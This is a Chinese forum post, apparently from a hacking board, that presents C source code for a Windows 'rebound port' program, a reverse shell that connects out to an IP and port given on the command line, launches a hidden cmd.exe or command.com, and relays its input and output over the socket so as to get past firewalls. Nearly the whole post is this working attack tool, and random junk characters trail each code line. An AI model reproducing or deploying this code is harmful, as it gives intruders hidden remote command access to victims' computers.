社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 4409阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 l]R O'  
lC&U9=7W  
/* ============================== $/ ;:Xb=q  
Rebound port in Windows NT g[fCvWm#d  
By wind,2006/7 [.;$6C/?  
===============================*/ f h05*]r  
#include IT& U%hw  
#include n1K"VjZk  
{M: Fsay>p  
#pragma comment(lib,"wsock32.lib") cl4`FU  
5]cmDk  
void OutputShell(); n[4F\I>  
SOCKET sClient; }R5>ja0  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; g2L^cP>2  
<)c/PI[j  
void main(int argc,char **argv) {U8Sl.  
{ "3CQ0  
WSADATA stWsaData; QXx<Hi^ /  
int nRet; nTO,d$!Kp  
SOCKADDR_IN stSaiClient,stSaiServer; HN,E+ dQ  
-1t"(v  
if(argc != 3) Q#NXJvI  
{ B0I(/ 7  
printf("Useage:\n\rRebound DestIP DestPort\n"); 6wH]W+A  
return; 9?<WRM3a>  
} =N,9#o6^  
mKY}+21!Q  
WSAStartup(MAKEWORD(2,2),&stWsaData); YCod\}3  
>0kn&pe7#T  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); hX4&B  
^n#6CW*n  
stSaiClient.sin_family = AF_INET; `Q?rQ3A}  
stSaiClient.sin_port = htons(0); S'T&`"Mr  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Cv{>|g#  
`.Z MwA  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) B6&PYMFK?*  
{ mk?&`_X1  
printf("Bind Socket Failed!\n");  B[jCe5!w  
return; )G6{JL-I  
} UD1R _bL}  
bqpy@WiI S  
stSaiServer.sin_family = AF_INET; x zmg'Br  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 5Mm><"0  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); *(~7H6  
.G#wXsJj  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) A&_H%]{<:  
{ AcV 2l  
printf("Connect Error!"); &~oBJar  
return; (+}H ih  
} :'RmT3  
OutputShell(); *gMo(-tN  
} W0%cJ8~  
@ht= (Jk9  
void OutputShell() SwHrHj  
{ o/273I  
char szBuff[1024]; d*80eB9P  
SECURITY_ATTRIBUTES stSecurityAttributes; \zioIfHm  
OSVERSIONINFO stOsversionInfo; >Qg`Us#y  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 4'JuK{/ A7  
STARTUPINFO stStartupInfo; _bB:1l?V  
char *szShell; -Z )j"J  
PROCESS_INFORMATION stProcessInformation; q_PxmPE@3v  
unsigned long lBytesRead; 3>X]`Oj7y  
kBZnR$Cl  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ZN75ON L  
KSsv~!3Yf  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); O>UG[ZgW  
stSecurityAttributes.lpSecurityDescriptor = 0; &u) R+7bl,  
stSecurityAttributes.bInheritHandle = TRUE; #&zNYzI  
?K]Cs&E4  
'J(rIH3U  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); $<R\|_6J  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); =\mAvVe  
T:$a x  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ?;NC(Z,  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 9UlR fl  
stStartupInfo.wShowWindow = SW_HIDE; AwrW!)n }  
stStartupInfo.hStdInput = hReadPipe; Gs^hqT;h  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Wj0=cIb  
%Wy$m?gD  
GetVersionEx(&stOsversionInfo); |HhqWja  
" %$jl0i_c  
switch(stOsversionInfo.dwPlatformId) B3 fKb#T  
{ !DgN@P.o  
case 1: o%dKi]  
szShell = "command.com"; D"kss5>w  
break; #6O<!{PH6  
default: 1#rcxUSi  
szShell = "cmd.exe"; .bcoH  
break; .}'49=c  
} t"[ xx_i  
t){})nZ/4  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); dq d:V$o  
m$b5Vqq  
send(sClient,szMsg,77,0); LLp/ SWe  
while(1) /[ _aw&W}Z  
{ ]o}g~Xn  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); :E ]Ys  
if(lBytesRead) hKa<9>MI`  
{ kY d'6+m  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ^5j+O.zgN  
send(sClient,szBuff,lBytesRead,0); zJC!MeN  
} F91uuSSL  
else h"h3SD~  
{ (`C#Tq  
lBytesRead=recv(sClient,szBuff,1024,0); Zj,1)ii  
if(lBytesRead<=0) break; |C;8GSw>|F  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); uL!QeY>k\  
} oSd TQ$U!D  
} @~t^zI1  
1Pya\To,m  
return; _:(RkS!x  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
10+5=?,请输入中文答案:十五